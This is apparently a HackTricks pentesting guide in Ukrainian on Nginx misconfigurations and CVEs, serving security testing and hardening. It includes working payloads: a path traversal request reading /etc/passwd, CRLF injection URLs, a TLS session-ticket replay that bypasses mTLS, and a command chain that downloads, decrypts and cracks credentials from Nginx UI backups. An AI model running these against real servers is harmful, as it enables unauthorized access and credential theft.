Nginx

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

Відсутнє root location

Під час налаштування сервера Nginx, директива root відіграє критичну роль, визначаючи базовий каталог, з якого обслуговуються файли. Розгляньте приклад нижче:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

У цій конфігурації /etc/nginx призначено як root directory. Така схема дозволяє доступ до файлів у межах вказаного root directory, наприклад /hello.txt. Однак важливо зазначити, що визначено лише конкретний location (/hello.txt). Немає конфігурації для root location (location / {...}). Ця прогалина означає, що директива root застосовується глобально, даючи змогу запитам до root path / отримувати доступ до файлів у /etc/nginx.

Із цією конфігурацією виникає критичний security consideration. Простий GET request, як-от GET /nginx.conf, може розкрити sensitive information, віддаючи Nginx configuration file, розташований у /etc/nginx/nginx.conf. Встановлення root у менш sensitive directory, наприклад /etc, може зменшити цей ризик, але все ще може дозволити ненавмисний доступ до інших critical files, зокрема інших configuration files, access logs і навіть encrypted credentials, що використовуються для HTTP basic authentication.

Alias LFI Misconfiguration

У configuration files Nginx потрібно уважно перевіряти directives “location”. Вразливість, відома як Local File Inclusion (LFI), може ненавмисно з’явитися через конфігурацію, що виглядає приблизно так:

location /imgs {
alias /path/images/;
}

Ця конфігурація схильна до атак LFI через те, що сервер інтерпретує запити на кшталт /imgs../flag.txt як спробу отримати доступ до файлів поза межами призначеного каталогу, фактично розв’язуючи їх у /path/images/../flag.txt. Ця вада дозволяє зловмисникам отримувати файли з файлової системи сервера, які не повинні бути доступні через web.

Щоб пом’якшити цю вразливість, конфігурацію слід змінити так, щоб:

location /imgs/ {
alias /path/images/;
}

More info: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix tests:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Небезпечне обмеження шляху

Перевірте наступну сторінку, щоб дізнатися, як обійти директиви на кшталт:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Небезпечне використання змінних / HTTP Request Splitting

Caution

Уразливі змінні $uri та $document_uri, і це можна виправити, замінивши їх на $request_uri.

Regex також може бути уразливим, наприклад:

location ~ /docs/([^/])? { … $1 … } - Уразливо

location ~ /docs/([^/\s])? { … $1 … } - Не уразливо (перевірка пробілів)

location ~ /docs/(.*)? { … $1 … } - Не уразливо

Уразливість у конфігурації Nginx показано на прикладі нижче:

location / {
return 302 https://example.com$uri;
}

Символи \r (Carriage Return) і \n (Line Feed) позначають символи нового рядка в HTTP-запитах, а їх URL-кодовані форми представлені як %0d%0a. Додавання цих символів у запиті (наприклад, http://localhost/%0d%0aDetectify:%20clrf) до неправильно налаштованого сервера призводить до того, що сервер створює новий заголовок під назвою Detectify. Це відбувається тому, що змінна $uri декодує URL-кодовані символи нового рядка, що призводить до неочікуваного заголовка у відповіді:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Learn more about the risks of CRLF injection and response splitting at https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Також цю technique пояснено в цій доповіді з кількома вразливими прикладами та механізмами detection. Наприклад, щоб detect цю misconfiguration з blackbox perspective, ви могли б використати такі requests:

  • https://example.com/%20X - Будь-який HTTP code
  • https://example.com/%20H - 400 Bad Request

Якщо вразливо, перший повернеться як “X”, бо це будь-який HTTP method, а другий поверне error, оскільки H не є valid method. Тож server отримає щось на кшталт: GET / H HTTP/1.1, і це спричинить error.

Інші detection examples:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Будь-який HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Деякі знайдені vulnerable configurations, показані в тій доповіді, були:

  • Зверніть увагу, як $uri встановлюється як є в final URL
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Зверни увагу, як знову $uri є в URL (цього разу всередині параметра)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Тепер в AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Any variable

Було виявлено, що дані, надані користувачем, за певних обставин можуть оброблятися як Nginx variable. Причина такої поведінки досі залишається дещо неясною, хоча це не рідкість і не так просто перевірити. Цю аномалію було висвітлено у звіті з безпеки на HackerOne, який можна переглянути here. Подальший аналіз повідомлення про помилку привів до виявлення її прояву в SSI filter module of Nginx’s codebase, що вказало на Server Side Includes (SSI) як на першопричину.

Щоб виявити цю misconfiguration, можна виконати таку команду, яка передбачає встановлення referer header для перевірки друку variable:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Сканування на цю неправильну конфігурацію в різних системах виявило кілька випадків, коли змінні Nginx могли бути виведені користувачем. Однак зменшення кількості вразливих екземплярів свідчить про те, що зусилля з виправлення цієї проблеми були певною мірою успішними.

Використання try_files із змінними $URI$ARGS

Наступна неправильна конфігурація Nginx може призвести до вразливості LFI:

location / {
try_files $uri$args $uri$args/ /index.html;
}

У нашій конфігурації є директива try_files, яка використовується для перевірки наявності файлів у вказаному порядку. Nginx віддасть перший, який знайде. Базовий синтаксис директиви try_files виглядає так:

try_files file1 file2 ... fileN fallback;

Nginx перевірятиме наявність кожного файла у вказаному порядку. Якщо файл існує, його буде негайно віддано. Якщо жоден із вказаних файлів не існує, запит буде передано до fallback-опції, якою може бути інший URI або конкретна сторінка помилки.

Однак під час використання змінних $uri$args у цій директиві, Nginx намагатиметься знайти файл, що відповідає URI запиту, поєднаному з будь-якими аргументами query string. Тому ми можемо експлуатувати цю конфігурацію:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

З таким payload:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

За допомогою нашого payload ми вийдемо за межі root directory (визначеного в конфігурації Nginx) і завантажимо файл /etc/passwd. У debug logs ми можемо спостерігати, як Nginx намагається отримати файли:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC проти Nginx із використанням конфігурації, згаданої вище: Example burp request

Raw backend response reading

Nginx пропонує функцію через proxy_pass, яка дозволяє перехоплювати помилки та HTTP headers, створені backend, щоб приховати внутрішні повідомлення про помилки та headers. Це досягається шляхом того, що Nginx віддає custom error pages у відповідь на помилки backend. Однак проблеми виникають, коли Nginx натрапляє на invalid HTTP request. Такий запит пересилається до backend у незмінному вигляді, і raw response backend’а потім напряму надсилається клієнту без втручання Nginx.

Розгляньмо приклад сценарію з uWSGI application:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Щоб керувати цим, використовуються спеціальні директиви в конфігурації Nginx:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Ця директива дозволяє Nginx обслуговувати custom response для backend-відповідей зі статус-кодом понад 300. Вона гарантує, що для нашого прикладу uWSGI application відповідь 500 Error буде перехоплена та оброблена Nginx.
  • proxy_hide_header: Як випливає з назви, ця директива приховує вказані HTTP headers від client, підвищуючи privacy та security.

Коли виконується валідний GET request, Nginx обробляє його нормально, повертаючи standard error response без розкриття будь-яких secret headers. Однак invalid HTTP request обходить цей механізм, що призводить до exposure raw backend responses, including secret headers and error messages.

merge_slashes set to off

By default, merge_slashes directive у Nginx встановлена в on, що стискає multiple forward slashes у URL в один slash. Ця функція, хоч і спрощує обробку URL, може ненавмисно приховувати vulnerabilities в applications за Nginx, особливо схильних до local file inclusion (LFI) attacks. Security experts Danny Robinson and Rotem Bar звернули увагу на potential risks, пов’язані з такою поведінкою за замовчуванням, особливо коли Nginx виступає як reverse-proxy.

Щоб зменшити такі risks, рекомендується вимкнути merge_slashes directive для applications, уразливих до цих vulnerabilities. Це гарантує, що Nginx передаватиме requests до application без зміни URL structure, тим самим не маскуючи жодних underlying security issues.

For more information check Danny Robinson and Rotem Bar.

Maclicious Response Headers

As shown in this writeup, there are certain headers that if present in the response from the web server they will change the behaviour of the Nginx proxy. You can check them in the docs:

  • X-Accel-Redirect: Indicate Nginx to internally redirect a request to a specified location.
  • X-Accel-Buffering: Controls whether Nginx should buffer the response or not.
  • X-Accel-Charset: Sets the character set for the response when using X-Accel-Redirect.
  • X-Accel-Expires: Sets the expiration time for the response when using X-Accel-Redirect.
  • X-Accel-Limit-Rate: Limits the rate of transfer for responses when using X-Accel-Redirect.

For example, the header X-Accel-Redirect will cause an internal redirect in the nginx. So having an nginx configuration with something such as root / and a response from the web server with X-Accel-Redirect: .env will make nginx sends the content of /.env (Path Traversal).

Default Value in Map Directive

In the Nginx configuration, the map directive often plays a role in authorization control. A common mistake is not specifying a default value, which could lead to unauthorized access. For instance:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Без default, зловмисний користувач може обійти захист, звернувшись до невизначеного URI всередині /map-poc. The Nginx manual радить встановлювати default value, щоб уникнути таких проблем.

Вразливість DNS Spoofing

DNS spoofing проти Nginx можливий за певних умов. Якщо атакувальник знає DNS server, який використовує Nginx, і може перехоплювати його DNS-запити, він може підміняти DNS-записи. Однак цей метод неефективний, якщо Nginx налаштовано використовувати localhost (127.0.0.1) для DNS resolution. Nginx дозволяє вказати DNS server так:

resolver 8.8.8.8;

proxy_pass and internal Directives

proxy_pass директива використовується для перенаправлення запитів до інших серверів, або внутрішньо, або зовні. internal директива гарантує, що певні locations доступні лише всередині Nginx. Хоча самі по собі ці директиви не є вразливостями, їхню конфігурацію потрібно ретельно перевіряти, щоб запобігти проблемам безпеки.

proxy_set_header Upgrade & Connection

Якщо nginx server налаштовано на передачу заголовків Upgrade і Connection, можна виконати h2c Smuggling attack, щоб отримати доступ до захищених/внутрішніх endpoint’ів.

Caution

Ця вразливість дозволить attacker’у встановити пряме з’єднання з proxy_pass endpoint’ом (http://backend:9999 у цьому випадку), вміст якого не буде перевірятися nginx.

Приклад вразливої конфігурації для викрадення /flag тут:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Зверніть увагу, що навіть якщо proxy_pass вказував на конкретний path, наприклад http://backend:9999/socket.io, з’єднання буде встановлено з http://backend:9999, тож ви можете звертатися до будь-якого іншого path всередині цього внутрішнього endpoint. Отже, не має значення, чи вказано path в URL proxy_pass.

HTTP/3 QUIC module remote DoS & leak (2024)

Під час 2024 року Nginx оприлюднив CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 та CVE-2024-35200, показавши, що одна ворожа QUIC session може crash worker processes або leak memory, коли експериментальний ngx_http_v3_module скомпільовано і відкрито listen ... quic socket. Уражені builds — 1.25.0–1.25.5 та 1.26.0, тоді як 1.27.0/1.26.1 містять fixes; memory disclosure (CVE-2024-34161) додатково вимагає MTUs більші за 4096 bytes, щоб виявити sensitive data (деталі див. у 2024 nginx advisory, на який є посилання нижче).

Recon & exploitation hints

  • HTTP/3 є opt-in, тож шукайте відповіді Alt-Svc: h3=":443" або brute-force UDP/443 QUIC handshakes; після підтвердження fuzz the handshake і STREAM frames за допомогою custom quiche-client/nghttp3 payloads, щоб викликати worker crashes і примусити log leakage.
  • Швидко визначте підтримку target за допомогою:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption bypass of client cert auth (CVE-2025-23419)

Лютневий advisory 2025 року повідомив, що nginx 1.11.4–1.27.3, зібраний з OpenSSL, дозволяє повторно використовувати сесію TLS 1.3 з одного name-based virtual host в іншому, тож клієнт, який домовився про host без certificate, може replay ticket/PSK, щоб перескочити у vhost, захищений ssl_verify_client on;, і повністю обійти mTLS. Помилка спрацьовує щоразу, коли кілька virtual hosts ділять один і той самий TLS 1.3 session cache і tickets (див. advisory nginx 2025, згаданий нижче).

Attacker playbook

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Якщо ціль вразлива, другий handshake завершується без пред’явлення client certificate, відкриваючи protected locations.

What to audit

  • Змішані блоки server_name, що спільно використовують ssl_session_cache shared:SSL і ssl_session_tickets on;.
  • Admin/API blocks, які очікують mTLS, але успадковують shared session cache/ticket settings від public hosts.
  • Автоматизація, що вмикає TLS 1.3 session resumption глобально (наприклад, Ansible roles) без урахування vhost isolation.

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

Атака HTTP/2 Rapid Reset (CVE-2023-44487) і далі впливає на nginx, коли operators піднімають keepalive_requests або http2_max_concurrent_streams вище default: attacker відкриває одне HTTP/2 connection, flood-ить його тисячами streams, а потім одразу надсилає RST_STREAM frames, тож concurrency ceiling ніколи не досягається, поки CPU продовжує витрачатися на tear-down logic. Nginx defaults (128 concurrent streams, 1000 keepalive requests) тримають blast radius невеликим; значне підвищення цих limits робить тривіальним starvation worker processes навіть від одного client (див. F5 write-up, на який є посилання нижче).

Detection tips

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Хости, що розкривають незвично високі значення цих директив, є пріоритетними цілями: один HTTP/2 client може циклічно створювати streams і миттєво надсилати RST_STREAM frames, щоб утримувати CPU на межі без спрацювання concurrency cap.

Nginx UI pre-auth backup export + crypto material leakage

Nginx UI — це окрема admin panel для nginx, а не сам nginx daemon. У Nginx UI < 2.3.3 endpoint для backup export може бути доступний без authentication, а response також може leak-нути AES-256-CBC key and IV, потрібні для decrypt backup через X-Backup-Security header. Це перетворює “encrypted backup download” на негайне credential / token / private-key disclosure.

Fast version fingerprinting from SPA assets

Якщо login page — це JS-heavy SPA, завантажте main bundle з / і шукайте dedicated version chunk:

curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
curl -s http://admin.example/assets/version-<hash>.js

На вразливих збірках Nginx UI це часто повертає літерал на кшталт const t="2.3.2", чого достатньо, щоб зіставити вразливий діапазон перед автентифікацією.

Перевірте exposed API endpoints і завантажте backup

Навіть якщо більшість маршрутів /api/* повертають 403, перевіряйте backup-style endpoints напряму:

curl -s http://admin.example/api/install
curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
grep -i '^X-Backup-Security:' headers.txt
unzip -l backup.zip

Якщо вразливий, X-Backup-Security містить base64(key):base64(iv). Декодуйте обидва значення та підтвердьте очікувані довжини (32-byte key, 16-byte IV):

KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"

Після розшифрування перевірте відновлені nginx configs і дані застосунку Nginx UI. Типовий post-exploitation шлях:

  • Витягніть reverse-proxy та vhost details з nginx_dec.zip
  • Перевірте nginx-ui_dec.zip на app.ini, database.db, API tokens або certificate material
  • Вивантажте SQLite users table і зламайте відновлені password hashes offline
unzip nginx-ui_dec.zip -d nginx-ui
sqlite3 nginx-ui/database.db 'select name,password from users;'
hashcat -m 3200 hashes.txt <wordlist>

Цей шаблон варто тестувати й в інших admin products: неавтентифікований “encrypted” export все одно є розкриттям plaintext, якщо response витікає decryption material або зберігає його разом з archive.

Спробуйте самі

Detectify створила GitHub repository, де ви можете використати Docker, щоб налаштувати власний вразливий Nginx test server з деякими misconfigurations, описаними в цій статті, і спробувати знайти їх самостійно!

https://github.com/detectify/vulnerable-nginx

Static Analyzer tools

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (оновлений fork GIXY) — це tool для аналізу Nginx configurations з метою виявлення vulnerabilities, insecure directives і risky misconfigurations. Він також знаходить misconfigurations, що впливають на performance, і виявляє пропущені можливості hardening, дозволяючи автоматизоване виявлення flaws.
  • gixy-ng (активно підтримуваний fork GIXY) — це tool для аналізу Nginx configurations з метою виявлення vulnerabilities, insecure directives і risky misconfigurations. Він також знаходить misconfigurations, що впливають на performance, і виявляє пропущені можливості hardening, дозволяючи автоматизоване виявлення flaws.

Nginxpwner

Nginxpwner — це простий tool для пошуку поширених Nginx misconfigurations і vulnerabilities.

References

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks